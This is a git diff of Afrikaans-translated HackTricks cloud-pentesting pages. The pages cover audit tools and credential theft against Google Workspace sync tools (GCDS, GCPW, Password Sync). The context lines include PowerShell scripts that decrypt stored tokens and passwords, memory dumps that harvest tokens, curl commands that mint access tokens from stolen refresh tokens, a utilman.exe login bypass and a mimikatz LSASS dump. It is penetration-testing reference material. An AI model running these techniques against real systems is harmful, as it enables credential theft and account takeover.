+{{#tab name="Install" }}
```bash
# You need to install and run neo4j also
git clone https://github.com/carlospolop/PurplePanda
@@ -227,7 +227,7 @@ steampipe check all --export=/tmp/output4.json
```
Om Terraform AWS kode te kontroleer: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
-Meer AWS plugins van Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
+Meer AWS-inproppe van Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
{{#endtab }}
{{#endtabs }}
@@ -255,7 +255,7 @@ sudo mv cloudlist /usr/local/bin
```
{{#endtab }}
-{{#tab name="Tweede Tab" }}
+{{#tab name="Second Tab" }}
```bash
## For GCP it requires service account JSON credentials
cloudlist -config
@@ -362,7 +362,7 @@ uri: bolt://localhost:7687
### [**SkyArk**](https://github.com/cyberark/SkyArk)
Ontdek die mees bevoorregte gebruikers in die gescande AWS of Azure omgewing, insluitend die AWS Shadow Admins. Dit gebruik powershell.
-```powershell
+```bash
Import-Module .\SkyArk.ps1 -force
Start-AzureStealth
@@ -376,7 +376,7 @@ Scan-AzureAdmins
### [CloudFox](https://github.com/BishopFox/cloudfox)
-- CloudFox is 'n gereedskap om ontplofbare aanvalspaaie in wolkinfrastruktuur te vind (huidiglik slegs AWS & Azure ondersteun met GCP wat kom).
+- CloudFox is 'n gereedskap om uitbuitbare aanvalspaaie in wolkinfrastruktuur te vind (huidiglik slegs AWS & Azure ondersteun met GCP wat kom).
- Dit is 'n enumerasie-gereedskap wat bedoel is om handmatige pentesting aan te vul.
- Dit skep of wysig nie enige data binne die wolkomgewing nie.
@@ -416,6 +416,6 @@ azure-security/
### Office365
-Jy het **Global Admin** of ten minste **Global Admin Reader** nodig (maar let daarop dat Global Admin Reader 'n bietjie beperk is). Hierdie beperkings verskyn egter in sommige PS modules en kan omseil word deur toegang te verkry tot die funksies **via die webtoepassing**.
+Jy het **Global Admin** of ten minste **Global Admin Reader** nodig (maar let daarop dat Global Admin Reader 'n bietjie beperk is). Hierdie beperkings verskyn egter in sommige PS-modules en kan omseil word deur toegang te verkry tot die funksies **via die webtoepassing**.
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md
index 133271791..580118858 100644
--- a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md
+++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md
@@ -4,9 +4,9 @@
## Basiese Inligting
-Dit is 'n hulpmiddel wat gebruik kan word om **jou aktiewe gidsgebruikers en groepe na jou Workspace te sinkroniseer** (en nie andersom nie ten tyde van hierdie skrywe).
+Dit is 'n hulpmiddel wat gebruik kan word om **jou aktiewe gidsgebruikers en groepe na jou Workspace te sinkroniseer** (en nie andersom nie teen die tyd van hierdie skrywe).
-Dit is interessant omdat dit 'n hulpmiddel is wat die **bewyse van 'n Workspace-supergebruiker en bevoorregte AD-gebruiker** sal vereis. Dit mag dus moontlik wees om dit binne 'n domeinbediener te vind wat van tyd tot tyd gebruikers sal sinkroniseer.
+Dit is interessant omdat dit 'n hulpmiddel is wat die **bewyse van 'n Workspace-supergebruiker en bevoorregte AD-gebruiker** sal vereis. Dit mag dus moontlik wees om dit binne 'n domeinbediener te vind wat van tyd tot tyd gebruikers sinkroniseer.
> [!NOTE]
> Om 'n **MitM** op die **`config-manager.exe`** binêre uit te voer, voeg net die volgende lyn in die `config.manager.vmoptions`-lêer by: **`-Dcom.sun.net.ssl.checkRevocation=false`**
@@ -18,9 +18,9 @@ Let ook daarop dat GCDS nie wagwoorde van AD na Workspace sal sinkroniseer nie.
-### GCDS - Skyf Tokens & AD Bewese
+### GCDS - Skyf Tokens & AD Bewyse
-Die binêre `config-manager.exe` (die hoof GCDS binêre met GUI) sal die geconfigureerde Aktiewe Gidsbewese, die verfrissingstoken en die toegang standaard in 'n **xml-lêer** in die gids **`C:\Program Files\Google Cloud Directory Sync`** in 'n lêer genaamd **`Untitled-1.xml`** stoor. Alhoewel dit ook in die `Documents` van die gebruiker of in **enige ander gids** gestoor kan word.
+Die binêre `config-manager.exe` (die hoof GCDS binêre met GUI) sal die geconfigureerde Aktiewe Gidsbewyse, die verfrissings-token en die toegang standaard in 'n **xml-lêer** in die gids **`C:\Program Files\Google Cloud Directory Sync`** in 'n lêer genaamd **`Untitled-1.xml`** stoor. Alhoewel dit ook in die `Documents` van die gebruiker of in **enige ander gids** gestoor kan word.
Boonop bevat die register **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** binne die sleutel **`open.recent`** die paaie na al die onlangs geopende konfigurasielêers (xmls). Dit is dus moontlik om **dit na te gaan om hulle te vind**.
@@ -54,7 +54,7 @@ Let op hoe die **refresh** **token** en die **password** van die gebruiker **ge
Powershell-skrip om die refresh token en die password te dekripteer
-```powershell
+```bash
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
@@ -150,19 +150,19 @@ Write-Host "Decrypted Password: $decryptedPassword"
> [!NOTE]
-> Let daarop dat dit moontlik is om hierdie inligting te kontroleer deur die java kode van **`DirSync.jar`** in **`C:\Program Files\Google Cloud Directory Sync`** te soek na die string `exportkeys` (aangesien dit die cli param is wat die binaire `upgrade-config.exe` verwag om die sleutels te dump).
+> Let daarop dat dit moontlik is om hierdie inligting te kontroleer deur die java kode van **`DirSync.jar`** in **`C:\Program Files\Google Cloud Directory Sync`** na te gaan en te soek na die string `exportkeys` (aangesien dit die cli param is wat die binêre `upgrade-config.exe` verwag om die sleutels te dump).
-In plaas daarvan om die powershell skrip te gebruik, is dit ook moontlik om die binaire **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** met die param `-exportKeys` te gebruik en die **Key** en **IV** uit die registrasie in hex te kry en dan net 'n bietjie cyberchef met AES/CBC en daardie sleutel en IV te gebruik om die inligting te ontsleutel.
+In plaas daarvan om die powershell skrip te gebruik, is dit ook moontlik om die binêre **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** met die param `-exportKeys` te gebruik en die **Key** en **IV** uit die register in hex te kry en dan net 'n bietjie cyberchef met AES/CBC en daardie sleutel en IV te gebruik om die inligting te ontsleutel.
### GCDS - Dumping tokens from memory
-Net soos met GCPW, is dit moontlik om die geheue van die proses van die `config-manager.exe` proses (dit is die naam van die GCDS hoof binaire met GUI) te dump en jy sal in staat wees om verfris- en toegangstokens te vind (as hulle reeds gegenereer is).\
+Net soos met GCPW, is dit moontlik om die geheue van die proses van die `config-manager.exe` proses (dit is die naam van die GCDS hoof binêre met GUI) te dump en jy sal in staat wees om verfris- en toegangstokens te vind (as hulle reeds gegenereer is).\
Ek raai jy kan ook die AD geconfigureerde akrediteerings vind.
Dump config-manager.exe processes and search tokens
-```powershell
+```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -235,9 +235,9 @@ Remove-Item -Path $dumpFolder -Recurse -Force
```
-### GCDS - Genereer toegangstokens vanaf hernuwingstokens
+### GCDS - Genereer toegangstokens vanaf herlaa tokens
-Deur die hernuwingstoken te gebruik, is dit moontlik om toegangstokens te genereer met dit en die kliënt-ID en kliëntgeheim wat in die volgende opdrag gespesifiseer is:
+Deur die herlaa token te gebruik, is dit moontlik om toegangstokens te genereer met dit en die kliënt-ID en kliëntgeheim wat in die volgende opdrag gespesifiseer is:
```bash
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
@@ -280,7 +280,7 @@ rm /tmp/valid_scopes.txt
```
-En dit is die uitvoer wat ek op die tyd van die skryf gekry het:
+En dit is die uitvoer wat ek op die tyd van skryf gekry het:
```
https://www.googleapis.com/auth/admin.directory.group
https://www.googleapis.com/auth/admin.directory.orgunit
@@ -321,6 +321,6 @@ curl -X POST \
# You could also change the password of a user for example
```
> [!CAUTION]
-> Dit is nie moontlik om die nuwe gebruiker die Super Amin rol te gee nie omdat die **herlaai token nie genoeg skope het nie** om die vereiste voorregte te gee.
+> Dit is nie moontlik om die nuwe gebruiker die Super Amin rol te gee nie omdat die **herlaai token nie genoeg skope het nie** om die vereiste voorregte te gee.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md
index b35a5f187..712df3789 100644
--- a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md
+++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md
@@ -4,14 +4,14 @@
## Basiese Inligting
-Dit is die enkele aanmeld wat Google Workspaces bied sodat gebruikers op hul Windows-rekenaars kan aanmeld met **hul Workspace-akkrediteer**. Boonop sal dit tokens stoor om toegang tot Google Workspace op sekere plekke in die rekenaar te verkry.
+Dit is die enkele aanmeld wat Google Workspaces bied sodat gebruikers op hul Windows-rekenaars kan aanmeld met **hulle Workspace-akkrediteerings**. Boonop sal dit tokens stoor om toegang tot Google Workspace op sekere plekke in die rekenaar te verkry.
> [!TIP]
> Let daarop dat [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) in staat is om **GCPW** te detecteer, inligting oor die konfigurasie te verkry en **selfs tokens**.
### GCPW - MitM
-Wanneer 'n gebruiker toegang tot 'n Windows-rekenaar wat gesinkroniseer is met Google Workspace via GCPW, sal dit 'n algemene aanmeldvorm moet voltooi. Hierdie aanmeldvorm sal 'n OAuth-kode teruggee wat die rekenaar vir die verfrissingstoken in 'n versoek soos:
+Wanneer 'n gebruiker toegang tot 'n Windows-rekenaar wat gesinkroniseer is met Google Workspace via GCPW, sal dit 'n algemene aanmeldvorm moet voltooi. Hierdie aanmeldvorm sal 'n OAuth-kode teruggee wat die rekenaar vir die verfrissings-token in 'n versoek soos:
```http
POST /oauth2/v4/token HTTP/2
Host: www.googleapis.com
@@ -28,17 +28,17 @@ scope=https://www.google.com/accounts/OAuthLogin
&device_type=chrome
```
> [!NOTE]
-> Dit was moontlik om 'n MitM uit te voer deur `Proxifier` op die PC te installeer, die `utilman.exe` binêre met 'n `cmd.exe` te oorskryf en die **toeganklikheidskenmerke** op die Windows aanmeldbladsy uit te voer, wat 'n **CMD** sal uitvoer waaruit jy die **Proxifier** kan **begin en konfigureer**.\
-> Moet nie vergeet om **QUICK UDP** verkeer in `Proxifier` te blokkeer sodat dit na TCP kommunikasie afgradeer nie en jy dit kan sien.
+> Dit was moontlik om 'n MitM uit te voer deur `Proxifier` op die rekenaar te installeer, die `utilman.exe` binêre met 'n `cmd.exe` te oorskryf en die **toeganklikheidskenmerke** op die Windows aanmeldbladsy uit te voer, wat 'n **CMD** sal uitvoer waaruit jy **Proxifier kan begin en konfigureer**.\
+> Moet nie vergeet om **QUICK UDP** verkeer in `Proxifier` te blokkeer sodat dit na TCP kommunikasie afgradeer en jy dit kan sien.
>
-> Konfigureer ook in "Gediensde en ander gebruikers" albei opsies en installeer die Burp CA sertifikaat in die Windows.
+> Konfigureer ook in "Diens en ander gebruikers" albei opsies en installeer die Burp CA sertifikaat in Windows.
-Boonop, deur die sleutels `enable_verbose_logging = 1` en `log_file_path = C:\Public\gcpw.log` in **`HKLM:\SOFTWARE\Google\GCPW`** toe te voeg, is dit moontlik om dit te laat stoor van sommige logs.
+Boonop, deur die sleutels `enable_verbose_logging = 1` en `log_file_path = C:\Public\gcpw.log` in **`HKLM:\SOFTWARE\Google\GCPW`** toe te voeg, is dit moontlik om 'n paar logs te stoor.
### GCPW - Vingerafdruk
-Dit is moontlik om te kyk of GCPW op 'n toestel geïnstalleer is deur te kyk of die volgende proses bestaan of of die volgende registriesleutels bestaan:
-```powershell
+Dit is moontlik om te kontroleer of GCPW op 'n toestel geïnstalleer is deur te kyk of die volgende proses bestaan of of die volgende registriesleutels bestaan:
+```bash
# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
@@ -62,9 +62,9 @@ Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}
```
-In **`HKCU:\SOFTWARE\Google\Accounts`** is dit moontlik om die e-pos van die gebruiker en die versleutelde **refresh token** te bekom as die gebruiker onlangs ingeteken het.
+In **`HKCU:\SOFTWARE\Google\Accounts`** is dit moontlik om toegang te verkry tot die e-pos van die gebruiker en die versleutelde **refresh token** as die gebruiker onlangs ingeteken het.
-In **`HKLM:\SOFTWARE\Google\GCPW\Users`** is dit moontlik om die **domeine** te vind wat toegelaat word om in te teken in die sleutel `domains_allowed` en in subsleutels is dit moontlik om inligting oor die gebruiker te vind soos e-pos, prentjie, gebruikersnaam, token lewensduur, token handvatsel...
+In **`HKLM:\SOFTWARE\Google\GCPW\Users`** is dit moontlik om die **domeine** te vind wat toegelaat word om in te teken in die sleutel `domains_allowed` en in subsleutels is dit moontlik om inligting oor die gebruiker te vind soos e-pos, prent, gebruikersnaam, token lewensduur, token handvatsel...
> [!NOTE]
> Die token handvatsel is 'n token wat begin met `eth.` en waarvan sommige inligting met 'n versoek soos:
@@ -102,14 +102,14 @@ Boonop is die lêer **`C:\ProgramData\Google\Credential Provider\Policies\\
## GCPW - Kry Tokens
-### GCPW - Registrasie Refresh Tokens
+### GCPW - Registrie Refresh Tokens
-Binne die registrasie **`HKCU:\SOFTWARE\Google\Accounts`** mag dit moontlik wees om sommige rekeninge met die **`refresh_token`** versleuteld binne te vind. Die metode **`ProtectedData.Unprotect`** kan dit maklik ontsleutel.
+Binne die registrie **`HKCU:\SOFTWARE\Google\Accounts`** mag dit moontlik wees om sommige rekeninge met die **`refresh_token`** versleuteld binne te vind. Die metode **`ProtectedData.Unprotect`** kan dit maklik ontsleutel.
Kry HKCU:\SOFTWARE\Google\Accounts data en ontsleutel refresh_tokens
-```powershell
+```bash
# Import required namespace for decryption
Add-Type -AssemblyName System.Security
@@ -163,7 +163,7 @@ Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
```
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
```
-Soos verduidelik in [**hierdie video**](https://www.youtube.com/watch?v=FEQxHRRP_5I), as jy nie die token in die registrasie vind nie, is dit moontlik om die waarde te verander (of te verwyder) van **`HKLM:\SOFTWARE\Google\GCPW\Users\\th`** en die volgende keer wanneer die gebruiker die rekenaar benader, sal hy weer moet aanmeld en die **token sal in die vorige registrasie gestoor word**.
+Soos verduidelik in [**hierdie video**](https://www.youtube.com/watch?v=FEQxHRRP_5I), as jy nie die token in die registrasie vind nie, is dit moontlik om die waarde te wysig (of te verwyder) van **`HKLM:\SOFTWARE\Google\GCPW\Users\\th`** en die volgende keer wanneer die gebruiker die rekenaar benader, sal hy weer moet aanmeld en die **token sal in die vorige registrasie gestoor word**.
### GCPW - Skyf Vernuwings Tokens
@@ -180,12 +180,12 @@ Dit kan waargeneem word dat AESGCM gebruik word, die versleutelde token begin me
### GCPW - Dumping tokens uit prosesse se geheue
-Die volgende skrip kan gebruik word om elke **Chrome** proses te **dump** met behulp van `procdump`, die **strings** te onttrek en dan **soek** na strings wat verband hou met **toegang en verfris tokens**. As Chrome aan 'n Google-webwerf gekoppel is, sal 'n **proses verfris en/of toegang tokens in geheue stoor!**
+Die volgende skrip kan gebruik word om elke **Chrome** proses te **dump** met behulp van `procdump`, die **strings** te onttrek en dan te **soek** na strings wat verband hou met **toegang en vernuwing tokens**. As Chrome aan 'n Google-webwerf gekoppel is, sal 'n **proses vernuwing en/of toegang tokens in geheue stoor!**
Dump Chrome prosesse en soek tokens
-```powershell
+```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -260,7 +260,7 @@ Remove-Item -Path $dumpFolder -Recurse -Force
Ek het dieselfde met `gcpw_extension.exe` probeer, maar dit het geen token gevind nie.
-Om een of ander rede, s**ommige onttrokken toegangstokens sal nie geldig wees nie (alhoewel sommige wel geldig sal wees)**. Ek het die volgende skrip probeer om karakters een vir een te verwyder om te probeer om die geldige token uit die dump te kry. Dit het my nooit gehelp om 'n geldige een te vind nie, maar dit mag dalk:
+Om een of ander rede, s**ommige onttrokken toegangstokens sal nie geldig wees nie (alhoewel sommige wel geldig sal wees)**. Ek het die volgende skrip probeer om karakters een vir een te verwyder om te probeer om die geldige token uit die dump te kry. Dit het nooit gehelp om 'n geldige een te vind nie, maar dit mag dalk help:
@@ -297,9 +297,9 @@ echo "Error: Token invalid or too short"
```
-### GCPW - Genereer toegangstokens vanaf hernuwingstokens
+### GCPW - Genereer toegangstokens vanaf herlaa tokens
-Deur die hernuwingstoken te gebruik, is dit moontlik om toegangstokens te genereer met dit en die kliënt-ID en kliëntgeheim wat in die volgende opdrag gespesifiseer is:
+Deur die herlaa token te gebruik, is dit moontlik om toegangstokens te genereer met dit en die kliënt-ID en kliënt geheim wat in die volgende opdrag gespesifiseer is:
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
@@ -378,7 +378,7 @@ https://www.googleapis.com/auth/userinfo.profile
```
-Boonop, deur die Chromium-bronkode na te gaan, is dit moontlik om [**hierdie lêer te vind**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), wat **ander skope** bevat wat **nie in die vooraf brute-forced lys verskyn nie**. Daarom kan hierdie ekstra skope aanvaar word:
+Boonop, deur die Chromium-bronkode te kontroleer, is dit moontlik om [**hierdie lêer te vind**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), wat **ander skope** bevat wat aanvaar kan word dat **nie in die vooraf brute-forced lys verskyn nie**. Daarom kan hierdie ekstra skope aanvaar word:
@@ -461,18 +461,18 @@ https://www.googleapis.com/auth/wallet.chrome
```
-Let daarop dat die mees interessante een moontlik is:
+Let wel, die mees interessante een is moontlik:
```c
// OAuth2 scope for access to all Google APIs.
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
```
-Ek het egter probeer om hierdie omvang te gebruik om gmail te bekom of groepe te lys en dit het nie gewerk nie, so ek weet nie hoe nuttig dit nog is nie.
+Echter, ek het probeer om hierdie omvang te gebruik om gmail te bekom of groepe te lys en dit het nie gewerk nie, so ek weet nie hoe nuttig dit nog is nie.
**Kry 'n toegangstoken met al daardie omvange**:
-Bash script om toegangstoken te genereer vanaf refresh_token met al die omvange
+Bash-skrip om toegangstoken te genereer vanaf refresh_token met al die omvange
```bash
export scope=$(echo "https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/calendar
@@ -589,7 +589,7 @@ Sommige voorbeelde wat sommige van daardie skope gebruik:
-https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile
+https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile
```bash
curl -X GET \
-H "Authorization: Bearer $access_token" \
@@ -793,9 +793,9 @@ Meer [API eindpunte in die dokumentasie](https://developers.google.com/vault/ref
-## GCPW - Herstel van die duidelike teks wagwoord
+## GCPW - Herwinning van die duidelike teks wagwoord
-Om GCPW te misbruik om die duidelike teks van die wagwoord te herstel, is dit moontlik om die versleutelde wagwoord van **LSASS** te dump met behulp van **mimikatz**:
+Om GCPW te misbruik om die duidelike teks van die wagwoord te herwin, is dit moontlik om die versleutelde wagwoord van **LSASS** te dump met behulp van **mimikatz**:
```bash
mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
```
diff --git a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md
index 4b280d34c..47e125d41 100644
--- a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md
+++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md
@@ -12,47 +12,47 @@ Dit word geïnstalleer in `C:\Program Files\Google\Password Sync` waar jy die bi
Om hierdie binêre (en diens) te konfigureer, is dit nodig om **toegang te gee aan 'n Super Admin-prinsipaal in Workspace**:
-- Teken in via **OAuth** met Google en dan sal dit **'n token in die register stoor (geënkripteer)**
+- Teken in via **OAuth** met Google en dan sal dit **'n token in die register (geënkripteer) stoor**
- Slegs beskikbaar in Domein Beheerders met GUI
-- Gee 'n paar **Diensrekening akrediteeringe van GCP** (json-lêer) met regte om **die Workspace gebruikers te bestuur**
-- Baie slegte idee aangesien daardie akrediteeringe nooit verval nie en misbruik kan word
+- Gee 'n paar **Diensrekening kredensiale van GCP** (json-lêer) met regte om **die Workspace gebruikers te bestuur**
+- Baie slegte idee aangesien daardie kredensiale nooit verval nie en misbruik kan word
- Baie slegte idee om 'n SA toegang oor workspace te gee aangesien die SA in GCP gecompromitteer kan word en dit moontlik sal wees om na Workspace te pivot
- Google vereis dit vir domein beheer sonder GUI
-- Hierdie akrediteeringe word ook in die register gestoor
+- Hierdie kredensiale word ook in die register gestoor
-Ten opsigte van AD, is dit moontlik om aan te dui om die huidige **aansoek konteks, anoniem of 'n spesifieke akreditering** te gebruik. As die akreditering opsie gekies word, word die **gebruikersnaam** in 'n lêer in die **skyf** gestoor en die **wagwoord** is **geënkripteer** en in die **register** gestoor.
+Ten opsigte van AD, is dit moontlik om aan te dui om die huidige **aansoek konteks, anoniem of 'n spesifieke kredensiaal** te gebruik. As die kredensiaal opsie gekies word, word die **gebruikersnaam** in 'n lêer in die **skyf** gestoor en die **wagwoord** is **geënkripteer** en in die **register** gestoor.
### GPS - Dumping wagwoord en token van skyf
> [!TIP]
> Let daarop dat [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) in staat is om **GPS** te detecteer, inligting oor die konfigurasie te verkry en **selfs die wagwoord en token te dekripteer**.
-In die lêer **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** is dit moontlik om 'n deel van die konfigurasie soos die **`baseDN`** van die AD wat geconfigureer is en die **`gebruikersnaam`** wie se akrediteringe gebruik word, te vind.
+In die lêer **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** is dit moontlik om 'n deel van die konfigurasie soos die **`baseDN`** van die AD wat geconfigureer is en die **`gebruikersnaam`** wie se kredensiale gebruik word, te vind.
-In die register **`HKLM\Software\Google\Google Apps Password Sync`** is dit moontlik om die **geënkripteerde hernuwing token** en die **geënkripteerde wagwoord** vir die AD gebruiker (indien enige) te vind. Boonop, as daar in plaas van 'n token, 'n paar **SA akrediteeringe** gebruik word, is dit ook moontlik om daardie geënkripteerde in daardie register adres te vind. Die **waardes** binne hierdie register is slegs **toeganklik** deur **Administrators**.
+In die register **`HKLM\Software\Google\Google Apps Password Sync`** is dit moontlik om die **geënkripteerde verfrissing token** en die **geënkripteerde wagwoord** vir die AD gebruiker (indien enige) te vind. Boonop, as daar in plaas van 'n token, 'n paar **SA kredensiale** gebruik word, is dit ook moontlik om daardie geënkripteerde in daardie register adres te vind. Die **waardes** binne hierdie register is slegs **toeganklik** deur **Administrators**.
Die geënkripteerde **wagwoord** (indien enige) is binne die sleutel **`ADPassword`** en is geënkripteer met behulp van die **`CryptProtectData`** API. Om dit te dekripteer, moet jy dieselfde gebruiker wees as die een wat die wagwoord sinkronisasie geconfigureer het en hierdie **entropie** gebruik wanneer jy die **`CryptUnprotectData`** gebruik: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
Die geënkripteerde token (indien enige) is binne die sleutel **`AuthToken`** en is geënkripteer met behulp van die **`CryptProtectData`** API. Om dit te dekripteer, moet jy dieselfde gebruiker wees as die een wat die wagwoord sinkronisasie geconfigureer het en hierdie **entropie** gebruik wanneer jy die **`CryptUnprotectData`** gebruik: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
-Boonop, dit is ook geënkodeer met base32hex met die woordeboek **`0123456789abcdefghijklmnopqrstv`**.
+Boonop, dit is ook gekodeer met base32hex met die woordeboek **`0123456789abcdefghijklmnopqrstv`**.
Die entropie waardes is gevind deur die hulpmiddel te gebruik. Dit is geconfigureer om die oproepe na **`CryptUnprotectData`** en **`CryptProtectData`** te monitor en toe is die hulpmiddel gebruik om `PasswordSync.exe` te begin en te monitor wat die geconfigureerde wagwoord en auth token aan die begin sal dekripteer en die hulpmiddel sal **die waardes vir die entropie wat gebruik is** in beide gevalle wys:
-Let daarop dat dit ook moontlik is om die **geëndecrypt** waardes in die invoer of uitvoer van die oproepe na hierdie API's te sien (in geval Winpeas op 'n stadium ophou werk).
+Let daarop dat dit ook moontlik is om die **geënikteerde** waardes in die invoer of uitvoer van die oproepe na hierdie API's te sien (in geval Winpeas op 'n stadium ophou werk).
-In die geval dat die Password Sync **geconfigureer is met SA akrediteeringe**, sal dit ook in sleutels binne die register **`HKLM\Software\Google\Google Apps Password Sync`** gestoor word.
+In die geval dat die Password Sync **geconfigureer is met SA kredensiale**, sal dit ook in sleutels binne die register **`HKLM\Software\Google\Google Apps Password Sync`** gestoor word.
### GPS - Dumping tokens van geheue
-Net soos met GCPW, is dit moontlik om die geheue van die proses van die `PasswordSync.exe` en die `password_sync_service.exe` prosesse te dump en jy sal in staat wees om hernuwing en toegang tokens te vind (indien hulle reeds gegenereer is).\
-Ek vermoed jy kan ook die AD geconfigureerde akrediteringe vind.
+Net soos met GCPW, is dit moontlik om die geheue van die proses van die `PasswordSync.exe` en die `password_sync_service.exe` prosesse te dump en jy sal in staat wees om verfris en toegang tokens te vind (indien hulle reeds gegenereer is).\
+Ek vermoed jy kan ook die AD geconfigureerde kredensiale vind.
Dump PasswordSync.exe en die password_sync_service.exe prosesse en soek tokens
-```powershell
+```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
@@ -127,9 +127,9 @@ Write-Output ""
```
-### GPS - Genereer toegangstokens vanaf hernuwingstokens
+### GPS - Genereer toegangstokens vanaf herlaa tokens
-Deur die hernuwingstoken te gebruik, is dit moontlik om toegangstokens te genereer met dit en die kliënt-ID en kliëntgeheim wat in die volgende opdrag gespesifiseer is:
+Deur die herlaa token te gebruik, is dit moontlik om toegangstokens te genereer met dit en die kliënt-ID en kliënt geheim wat in die volgende opdrag gespesifiseer is:
```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
@@ -140,7 +140,7 @@ https://www.googleapis.com/oauth2/v4/token
### GPS - Skoppe
> [!NOTE]
-> Let daarop dat dit nie moontlik is om enige skop vir die toegangstoken aan te vra nie, selfs al het jy 'n verfrissings-token, aangesien jy slegs die **skoppe wat deur die toepassing ondersteun word waar jy die toegangstoken genereer** kan aan vra.
+> Let daarop dat dit, selfs met 'n verfrissings-token, nie moontlik is om enige skop vir die toegangstoken aan te vra nie, aangesien jy slegs die **skoppe wat deur die toepassing ondersteun word waar jy die toegangstoken genereer** kan aan vra.
>
> Ook, die verfrissings-token is nie geldig in elke toepassing nie.